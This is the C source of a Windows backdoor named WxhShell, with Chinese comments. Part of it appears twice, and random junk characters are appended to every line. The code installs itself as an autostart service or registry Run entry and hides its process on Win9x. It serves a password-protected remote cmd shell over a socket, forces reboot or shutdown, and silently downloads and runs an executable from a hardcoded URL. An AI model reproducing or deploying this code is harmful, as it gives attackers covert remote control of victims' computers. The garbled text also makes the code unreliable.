    break; VC+\RB#:-  
    } <^~F~]wnH  
  // 关机 aH$~':[93  
  case 'd': { 9e=*jRs]l^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -(iJ<  
    if(Boot(SHUTDOWN)) L9kP8&&KK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]WT>4  
    else { +|?c_vD  
    closesocket(wsh); oD8-I^  
    ExitThread(0); kp$ILZ  
    } gky_]7Av  
    break; fr?eOigbl  
    } )6j:Mbz   
  // 获取shell 4mAtYm  
  case 's': { /f[_]LeV]  
    CmdShell(wsh);  @bx2=  
    closesocket(wsh); F,zJdJ  
    ExitThread(0); ?gtkf[0B|  
    break; |l|]Tw  
  } }cT}G;L'-  
  // 退出 tWiV0PTI  
  case 'x': { +{I\r|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d5\1-d_uz  
    CloseIt(wsh); ?*@h]4+k'  
    break; kT1lOP-Bg  
    } `R> O5Rv  
  // 离开 U)!AH^{32  
  case 'q': { M($},xAvDU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M<)2  
    closesocket(wsh); O>GP>U?]  
    WSACleanup(); 0o]K6 b  
    exit(1); #r:`bQ0;  
    break; +Xp;T`,v  
        } H1[aNwLr  
  } rYJ ))@  
  } a)1,/:7'  
A E711l-  
  // 提示信息 -?RQ%Ue  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ="DgrH  
} 6`C27  
  } ~30Wb9eL  
>D<=9G(a  
  return; /v{[Z&z  
} v#|c.<].  
4L e5Ms/  
// shell模块句柄 76b7-Nj"  
int CmdShell(SOCKET sock) arP+(1U  
{ v~\45eEA  
STARTUPINFO si; ry ?2 o!  
ZeroMemory(&si,sizeof(si)); k)py\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?/( K7>`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i!3KG|V  
PROCESS_INFORMATION ProcessInfo; FW DuH`-5  
char cmdline[]="cmd"; M 9#QS`G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v8Zg og)V  
  return 0; `5Btg. &  
} s%oAsQ_y  
`4 bd,  
// 自身启动模式 $O'2oeM  
int StartFromService(void) <o+ 7U  
{ p2vBj.*J  
typedef struct lM,zTNu-z  
{ wsrx|n[]  
  DWORD ExitStatus; V(u2{4gZ  
  DWORD PebBaseAddress; RRqMwy>%  
  DWORD AffinityMask; zD^f%p ["#  
  DWORD BasePriority; Vb^s 'k  
  ULONG UniqueProcessId; IWqxT?*  
  ULONG InheritedFromUniqueProcessId; #2jn4>  
}   PROCESS_BASIC_INFORMATION; @/~k8M/  
\GvY`kt3  
PROCNTQSIP NtQueryInformationProcess; _]UDmn[C  
`^L<db^A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -]\E}Ti  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N&APqT  
I ~L Q1 _  
  HANDLE             hProcess; SU O;  
  PROCESS_BASIC_INFORMATION pbi; x7Rq|NQ  
~f10ZB_k>'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2ZbY|8X$r  
  if(NULL == hInst ) return 0; T[h}A"yK;  
V-;nj,.mY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l5';?>!s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J(0=~Z[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (1SO;8k\  
HwW[M[qA  
  if (!NtQueryInformationProcess) return 0; |M<.O~|D6}  
1LE^dS^V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1mn$Rh&dO  
  if(!hProcess) return 0; #/t>}lc  
9U9c"'g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Ir~X|}\iL  
V> a3V'  
  CloseHandle(hProcess); KPjqw{gR_R  
EB2^]?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #4_O;]{'  
if(hProcess==NULL) return 0; EkStb#  
M-Z6TL  
HMODULE hMod; *KjVPs  
char procName[255]; ?Y0$X>nm  
unsigned long cbNeeded; QE#-A@c  
H]i+o6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1s} ``1>  
{`K]sa7`  
  CloseHandle(hProcess); Tt<-<oyU.  
 Z|:_ c  
if(strstr(procName,"services")) return 1; // 以服务启动 h"BhTx7E}  
TFJ{fLG  
  return 0; // 注册表启动 Nx4DC  
} p21=$?k!;  
N}+B:l]Qy  
// 主模块 tLXn?aNY  
int StartWxhshell(LPSTR lpCmdLine) LTYu xZ  
{ vN0L( B  
  SOCKET wsl; U-~*5Dd  
BOOL val=TRUE; J"D&q  
  int port=0; Owh*KY:  
  struct sockaddr_in door; PK-}Ldj  
r\l3_t  
  if(wscfg.ws_autoins) Install(); [I++>4  
ZM-/n>  
port=atoi(lpCmdLine); c+E//X|  
~b>nCP8q  
if(port<=0) port=wscfg.ws_port; <nOuyGIZ  
AF*ni~  
  WSADATA data; c ?p0#3%L#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,<;l"v(  
^^4K/XBve  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aR="5{en{:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /\,_P  
  door.sin_family = AF_INET; Qe @A5#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d6t)gG*5  
  door.sin_port = htons(port); uHUvntr  
gfdPx:7^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?b*/ddIs  
closesocket(wsl); ;Xfd1    
return 1; M73VeV3DL  
} <i{m.p R>  
=9DhO7I'  
  if(listen(wsl,2) == INVALID_SOCKET) { Z9J =vzsHE  
closesocket(wsl); 8(vC jL  
return 1; 3P+4S|@q(4  
} DqurHQ z)m  
  Wxhshell(wsl); .\ ;l-U  
  WSACleanup(); 8CP9DS  
r/N[7 *i  
return 0; nu469  
d{iu+=NXz  
} AND7jEn  
=1{H Sf  
// 以NT服务方式启动 {~j /XB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V!pq,!C$v  
{ \yJZvhUk  
DWORD   status = 0; ]/aRc=Gn  
  DWORD   specificError = 0xfffffff; 3JlC/v#0  
P;)2*:--)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G zJ9N`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S F&M (=w<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7.7Cluh5,  
  serviceStatus.dwWin32ExitCode     = 0; ql{^"8x  
  serviceStatus.dwServiceSpecificExitCode = 0; L<f-Ed9|  
  serviceStatus.dwCheckPoint       = 0; CbTf"pl  
  serviceStatus.dwWaitHint       = 0; ]6a/0rg:t  
Z-4K?;g'k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ap F*a$),  
  if (hServiceStatusHandle==0) return; nu4Pc  
G]L0eV  
status = GetLastError(); o :.~X  
  if (status!=NO_ERROR) ,X9hl J  
{ 07$/]eO%C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %-@'CNP  
    serviceStatus.dwCheckPoint       = 0; *fxep08B  
    serviceStatus.dwWaitHint       = 0; /p"U  
    serviceStatus.dwWin32ExitCode     = status; bajC-5R1k  
    serviceStatus.dwServiceSpecificExitCode = specificError; C $]5l; `  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .K $p`WQ{  
    return; vqrBRlZ  
  } + $k07mb\  
Nf=C?`L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gzl%5`DBw  
  serviceStatus.dwCheckPoint       = 0; oS[W*\7'!  
  serviceStatus.dwWaitHint       = 0; JiKImz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |x1$b 7  
} 2"T8^r|U  
y,'FTP9?  
// 处理NT服务事件,比如:启动、停止 Y h^WTysBn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /'-:=0a  
{ yQu vW$  
switch(fdwControl) z `\# $  
{ MB}:GY?  
case SERVICE_CONTROL_STOP: .[edln  
  serviceStatus.dwWin32ExitCode = 0; $@_YdZ!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b0r,h)R  
  serviceStatus.dwCheckPoint   = 0; "AT&!t[J  
  serviceStatus.dwWaitHint     = 0; l)}<#Ri  
  { RM)1*l`!E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x2sN\tOh^  
  } \z2vV +f  
  return; ?2H{^\<(e  
case SERVICE_CONTROL_PAUSE: $`^H:Djr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \V._Z>]  
  break; 'g. :MQ8  
case SERVICE_CONTROL_CONTINUE: Z$Z`@&U=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {\P?/U6~f  
  break; CoKiQUW  
case SERVICE_CONTROL_INTERROGATE: )$MS 0[?  
  break; kJ/+IGV^v  
}; w#W5}i&x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6(:)otz  
} |__d 8a  
ymHKcQ  
// 标准应用程序主函数 Tsu\oJ[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZQ@3P7T  
{ QxKAXq@)i  
[`q.A`Fd  
// 获取操作系统版本 ;9K[~  
OsIsNt=GetOsVer(); "K 8nxnq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &Y 'z?N  
wyp{KIV  
  // 从命令行安装 ',DeP>'%>  
  if(strpbrk(lpCmdLine,"iI")) Install(); pH^ z  
g .3f2w  
  // 下载执行文件 ,K T<4  
if(wscfg.ws_downexe) { ,Ie<'>hd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C:Vv!u  
  WinExec(wscfg.ws_filenam,SW_HIDE); m^ z,,t9  
} 'wa g |-  
~'(9?81d  
if(!OsIsNt) { -H4PRCDH  
// 如果时win9x,隐藏进程并且设置为注册表启动 .a {QA  
HideProc(); bH_I7G&m  
StartWxhshell(lpCmdLine); ZHz^S)o\[s  
} [;<<4k(nL  
else 6F,/w:  
  if(StartFromService()) q Z#!CPHS  
  // 以服务方式启动 ]XY0c6 <  
  StartServiceCtrlDispatcher(DispatchTable); [ ynuj3G V  
else g083J}08  
  // 普通方式启动 (:JjQ`i  
  StartWxhshell(lpCmdLine); 2,+d|1(4o  
,b$z!dvhl  
return 0; f]c <9Q>*  
} 7$K}qsr<  
L,6MF,vx  
YjX*)Q_sl?  
Mg+4huT  
=========================================== ekrBNDs9  
!W(`<d]68:  
CNq[4T'~A  
Jlz9E|*qV  
rJX\6{V!_  
uO"y`$C$_  
" 2av*o~|J*:  
\PzN XQ$  
#include <stdio.h> <vL}l:r  
#include <string.h>  Ll?g.z"  
#include <windows.h> \,hrk~4U;(  
#include <winsock2.h> %oR>Uo  
#include <winsvc.h> <;aJ#qT  
#include <urlmon.h> x+K gc[r  
.izf#r:<  
#pragma comment (lib, "Ws2_32.lib") h>| g2h  
#pragma comment (lib, "urlmon.lib") 9?$RO[vo  
'P,,<nkr|  
#define MAX_USER   100 // 最大客户端连接数 moaodmt]x  
#define BUF_SOCK   200 // sock buffer Fk aXA.JE  
#define KEY_BUFF   255 // 输入 buffer p+vh[+yp  
sLZ>v  
#define REBOOT     0   // 重启 v"/TmiZ  
#define SHUTDOWN   1   // 关机 W\%q} q2?  
w1c w1xX*  
#define DEF_PORT   5000 // 监听端口 )Y~xIj >  
>J>>\Y(p  
#define REG_LEN     16   // 注册表键长度 loBtd%wY  
#define SVC_LEN     80   // NT服务名长度 jx'2N~$  
,&[7u9@  
// 从dll定义API BD4`eiu"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JA< :K0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LfHzT<)|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8!;$qVt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R2CQXhiJ  
EDtCNqBS~2  
// wxhshell配置信息 }s(C^0x  
struct WSCFG { P,U$ %C!  
  int ws_port;         // 监听端口 UP]1(S?  
  char ws_passstr[REG_LEN]; // 口令 ;$z7[+M  
  int ws_autoins;       // 安装标记, 1=yes 0=no LJj=]_  
  char ws_regname[REG_LEN]; // 注册表键名 "ee'2O  
  char ws_svcname[REG_LEN]; // 服务名 !VFem~'d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ox|TMSb^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fe5jdV<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %Lyz_2q A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TW2Z=ks=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -Uri|^t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %Ci^*zb  
^4 8\>-Q\  
}; Ok*Z  
ogJ<e_ m  
// default Wxhshell configuration 9qre|AA  
struct WSCFG wscfg={DEF_PORT, Za0gs @$  
    "xuhuanlingzhe", 06jMj26!  
    1, `R0Y+#$8h  
    "Wxhshell", ik IzhUWE  
    "Wxhshell", 1AT'S;`  
            "WxhShell Service", C.( yd$,  
    "Wrsky Windows CmdShell Service", c|Y!c!9F  
    "Please Input Your Password: ", V_f`0\[x  
  1, m:3J!1  
  "http://www.wrsky.com/wxhshell.exe", m!:.>y  
  "Wxhshell.exe" {>h97}P  
    }; ]L8q  
F"[3c6yF  
// 消息定义模块 xW\,KSK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5 q65nF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7*;^UqGjz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [@|be.g  
char *msg_ws_ext="\n\rExit."; a,cC!   
char *msg_ws_end="\n\rQuit."; p[-{]!  
char *msg_ws_boot="\n\rReboot..."; # 66e@  
char *msg_ws_poff="\n\rShutdown..."; wVE:X3Ei  
char *msg_ws_down="\n\rSave to "; ;'^, ,{  
3S;N(A4  
char *msg_ws_err="\n\rErr!"; yl/a:Q  
char *msg_ws_ok="\n\rOK!"; (u9Zk~)F  
#w*"qn#2Uz  
char ExeFile[MAX_PATH]; B9^R8|V  
int nUser = 0; C_Gzv'C"L  
HANDLE handles[MAX_USER]; lhxdx    
int OsIsNt; :Eo8v$W\RB  
sOz sY7z3Z  
SERVICE_STATUS       serviceStatus; T>F9Hs  W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3e 73l  
OpQ8\[X+  
// 函数声明 )$_,?*fq:  
int Install(void); oCuV9dA.  
int Uninstall(void); |!}wF}iLc)  
int DownloadFile(char *sURL, SOCKET wsh); e "n|jRh  
int Boot(int flag); 7kd|K b(  
void HideProc(void); B6%&gXr\  
int GetOsVer(void); w~LU\Ct  
int Wxhshell(SOCKET wsl); %Rarr  
void TalkWithClient(void *cs); .[(P  
int CmdShell(SOCKET sock); SQE` U  
int StartFromService(void); K(OaW)j  
int StartWxhshell(LPSTR lpCmdLine); '\t7jQ  
Xm@aYNV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 75AslL?t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~6HDW  
-l[jEJS}  
// 数据结构和表定义 Noz&noq  
SERVICE_TABLE_ENTRY DispatchTable[] = enumK\  
{ ? d5h9}B  
{wscfg.ws_svcname, NTServiceMain}, 6#|qg*OS  
{NULL, NULL} Mpm#GdT  
}; ls @5^g  
]]/lC  
// 自我安装 ?!7 SzLll  
int Install(void) ?0z)EPQ|  
{ choL %g}  
  char svExeFile[MAX_PATH]; M=[th  
  HKEY key; [%~^kq=|  
  strcpy(svExeFile,ExeFile); 4By]vd<;=  
GX5W^//}  
// 如果是win9x系统,修改注册表设为自启动 F`srE6H  
if(!OsIsNt) { (I~\,[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @\PpA9ebg%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i~8DSshA  
  RegCloseKey(key); MS{{R +&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0'@u!m?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ohsH2]C  
  RegCloseKey(key); -l JYr/MSL  
  return 0; tBv3~Of.  
    } _+n;A46  
  } b pp*  
} pYh!]0n  
else { !0Nf9  
Snx<]|  
// 如果是NT以上系统,安装为系统服务 lY,/ W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ppFYc\&=  
if (schSCManager!=0) Bk@WW#b  
{ 1J'pB;.]s  
  SC_HANDLE schService = CreateService w+Vk3c5uI)  
  ( L=m:/qQL  
  schSCManager, h!Y?SO.b  
  wscfg.ws_svcname, b^Z$hnh]S  
  wscfg.ws_svcdisp, $m8leuo)  
  SERVICE_ALL_ACCESS, tN}c0'H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h?A'H RyL~  
  SERVICE_AUTO_START, \k4pK &b  
  SERVICE_ERROR_NORMAL, A6i et~h[  
  svExeFile, df ?eL2v  
  NULL, CO'ar,  
  NULL, $+TYvA'N  
  NULL, H/`G  
  NULL, A;T[['  
  NULL Y-]YDXrPQ  
  ); ?@3&dk~ni  
  if (schService!=0) DM'qNgB7  
  { phS>T  
  CloseServiceHandle(schService); xKb"p4k9d  
  CloseServiceHandle(schSCManager); Qg>0G%cXU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w%rg\E  
  strcat(svExeFile,wscfg.ws_svcname); "Y(^F bs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [?I/Uo8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pw;r 25   
  RegCloseKey(key); B0"0_n7-  
  return 0; :o l6%Z's  
    } CpSK(2j  
  } UM`nq;>  
  CloseServiceHandle(schSCManager); :])JaS^  
} 5v3RVaqZ  
} niQcvnT4b  
u?Z <n:  
return 1; 9fMSAB+c%  
} ?~ ?H dv  
qg)qjBQwA  
// 自我卸载 &M= 3{[  
int Uninstall(void) ,02w@we5  
{ lvx]jd\  
  HKEY key; eK *W =c#@  
x,f>X;04  
if(!OsIsNt) { Br&^09S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +0dT^Jkqg  
  RegDeleteValue(key,wscfg.ws_regname); uR^.  
  RegCloseKey(key); mZE8.`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ;b|  
  RegDeleteValue(key,wscfg.ws_regname); o"\{OX  
  RegCloseKey(key); qS| AdkNL  
  return 0; b@!:=_Mr  
  } DU`v J2  
} NFV_+{X\  
} Y!it!9  
else { *V-ds8AQ  
5v+L';wx[T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ([tG y  
if (schSCManager!=0) s{B_N/^  
{ IW mHp]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4a?r` '  
  if (schService!=0) ozuIwzi7N  
  { hRLKb}  
  if(DeleteService(schService)!=0) { "\<P$&`HA  
  CloseServiceHandle(schService); d{3I.$ThH  
  CloseServiceHandle(schSCManager); HGb.656r  
  return 0; /0l-mfRr  
  } 0NrTJ R`  
  CloseServiceHandle(schService); .X^43 q  
  } .c03}RTC^  
  CloseServiceHandle(schSCManager); NU(^6  
} $^ubo5%  
} YMK>+y[+4  
x~nQm]@`h  
return 1; m3B \)2B  
} (<n>EF#  
@E YK(QS-  
// 从指定url下载文件 &jFKc0\i@  
int DownloadFile(char *sURL, SOCKET wsh) Z<I[vp6{  
{  J(^ >?d'  
  HRESULT hr; [C2kK *JZ  
char seps[]= "/"; l=,.iv=W  
char *token; O8iu+}]/6  
char *file; LK{a9` h  
char myURL[MAX_PATH]; tgc@7  
char myFILE[MAX_PATH]; YyG~#6aCh  
bIq-1 Y(  
strcpy(myURL,sURL); 1BTgGF  
  token=strtok(myURL,seps); @|Z*f\  
  while(token!=NULL) <e[!3,%L  
  { 8dlInms  
    file=token; E $<;@  
  token=strtok(NULL,seps); JTjzT2`A.  
  } A7.JFf>  
'H|;%J6d>  
GetCurrentDirectory(MAX_PATH,myFILE); jzT;,4poy  
strcat(myFILE, "\\"); |HNQ|r_5S  
strcat(myFILE, file); L,GShl0S  
  send(wsh,myFILE,strlen(myFILE),0); X4XFu  
send(wsh,"...",3,0); py}.00it  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t;oT {Hge  
  if(hr==S_OK) v]l&dgoT  
return 0; g<0w/n!jmC  
else K90D1sD  
return 1; G#^m<G^M  
"^18&>^  
}  xh=FkY&d  
|:dCVd<du  
// 系统电源模块 SIj6.RK  
int Boot(int flag) 4S^  
{ u!m,ilAnd  
  HANDLE hToken; UUZ6N ZQI  
  TOKEN_PRIVILEGES tkp; |zK!+fu  
Qfwwh`;  
  if(OsIsNt) { 3we.*\2$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XB6N[E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {hlT` K  
    tkp.PrivilegeCount = 1; cw*(L5b u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &n}8Uw0440  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S(@*3]!q  
if(flag==REBOOT) { A/ox#(!v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tn(f rccy  
  return 0; |`N$>9qN  
} v=dKcruR:  
else { p_D on3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /h{go]&Nb  
  return 0; K7)j  
} ]C9%]`  
  } =U)n`#6_j2  
  else { oHYD_8'f  
if(flag==REBOOT) { &':UlzG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CpBQ>!CW  
  return 0; COxZ Q  
} IMl9\U  
else { xCDA1y;j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2@"0} po#  
  return 0; HV#?6,U}  
} 9n06n$F  
} !UUmy% 9  
8=ukS_?Vy  
return 1; bxPY'&  
} +An![1N,  
]6?c8/M  
// win9x进程隐藏模块 w>/pQ6=OFR  
void HideProc(void) ,qBnqi[  
{ y<IZ|f  
o O{|C&A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M]%!n3Fb  
  if ( hKernel != NULL ) Bd N{[2  
  { e+d6R[`M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F3H:I"4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3:02`;3  
    FreeLibrary(hKernel); u"Hd55"&  
  } Up1$xLSl  
A{{q'zb!  
return; 2V=FWuXC"  
} 79<9}<T  
E980yXJR  
// 获取操作系统版本 .MzP}8^  
int GetOsVer(void) IlC:dA  
{ Qw{\sCH>  
  OSVERSIONINFO winfo; f:JYG]E&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3; -@<9  
  GetVersionEx(&winfo); Aoy1<8WP%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `o^;fcnG  
  return 1; -x3tx7%  
  else mBD!:V'  
  return 0; RT_Pd\(qD  
} Y9I #Q  
709Uv5  
// 客户端句柄模块 sg9x?Bx9  
int Wxhshell(SOCKET wsl) Hc_hO  
{ .SKNIct M  
  SOCKET wsh; C&d"#I  
  struct sockaddr_in client; `|ck5DZT5L  
  DWORD myID; # ZYid t  
Wj f>:\ w  
  while(nUser<MAX_USER) 'nj&}A'  
{ 4LB9w 21  
  int nSize=sizeof(client); .$ P2W0G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EU&3Pdnd  
  if(wsh==INVALID_SOCKET) return 1; DbNi;m  
71n uTE%!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HLyFyv\  
if(handles[nUser]==0) ,$zSJzS  
  closesocket(wsh); -$]DO5fY  
else bTy' 5"  
  nUser++; 6UzT]"LR;  
  } q3pN/f;kr,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n\8[G [M  
P20]>Hg  
  return 0; l_q>(FoqA  
} r #6l?+W ;  
coP$7Q .  
// 关闭 socket 3{#pd6e5  
void CloseIt(SOCKET wsh) ^6NABXL  
{ uB#B\i  
closesocket(wsh); Cak/#1  
nUser--; (a)@<RF`Q}  
ExitThread(0); y\f8Ird  
} Mpl,}Q!c  
 &t%&l0  
// 客户端请求句柄 5P t}  
void TalkWithClient(void *cs) YQ8x6AJ  
{ __zu- !v  
x ;?1#W  
  SOCKET wsh=(SOCKET)cs; VL!kX``^F  
  char pwd[SVC_LEN]; ]v,y(yl  
  char cmd[KEY_BUFF]; ?[4khQt  
char chr[1]; \g6 # MNW  
int i,j; [\%t<aa  
ALt";8Oa  
  while (nUser < MAX_USER) { -_f0AfU/a  
BaHg c 4zI  
if(wscfg.ws_passstr) { %?G.lej,x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JA(q>>4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  E_I6  
  //ZeroMemory(pwd,KEY_BUFF); Lzx(!<v  
      i=0; T9;o.f S  
  while(i<SVC_LEN) { ve]95w9J  
"BNmpP  
  // 设置超时 C00*X[p  
  fd_set FdRead; z^GGJu%vjr  
  struct timeval TimeOut; (i~%4w=  
  FD_ZERO(&FdRead); n\)f.}YD8d  
  FD_SET(wsh,&FdRead); 7X3l&J2C4l  
  TimeOut.tv_sec=8; 5lA 8e  
  TimeOut.tv_usec=0; ;8xn"G0}a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =ir;m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (8X8<>w~  
eDZ3SIZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |;1:$E"  
  pwd=chr[0]; J0)WRn"h  
  if(chr[0]==0xd || chr[0]==0xa) { (C[S?@S  
  pwd=0; X OtS+p  
  break; DG9;6"HBX  
  } Oes+na'^  
  i++; [5#/& k{  
    } [eik<1=,~?  
G8c}re   
  // 如果是非法用户,关闭 socket Z]+Xh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %+JTQy  
} 5DBd [u3  
]6 7wk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #IJKMSGw?E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PbH]K$mj{"  
vK>^#b3  
while(1) { /9# jv]C:  
c{P`oB8  
  ZeroMemory(cmd,KEY_BUFF); juZ3""  
qk"=nAJX  
      // 自动支持客户端 telnet标准   ]h8V{%H  
  j=0; W8rn8Rh  
  while(j<KEY_BUFF) { ! \Kh\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cuk}VZ  
  cmd[j]=chr[0]; [uV/ Ra*g  
  if(chr[0]==0xa || chr[0]==0xd) { ~ ?_Z!eS  
  cmd[j]=0; !{0!G  
  break; TzXl ?N  
  } p=T\3_q  
  j++; ^%@.Vvz<  
    } e-meUf9  
Q1B! W  
  // 下载文件 >k-poBw  
  if(strstr(cmd,"http://")) { nuA!Jln_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MUl+Oy>  
  if(DownloadFile(cmd,wsh)) 5!%/j,?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fX|,s2-FW  
  else &Wk<F3qN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "MN'%"/  
  } FvP1;E  
  else { b)@x@3"O  
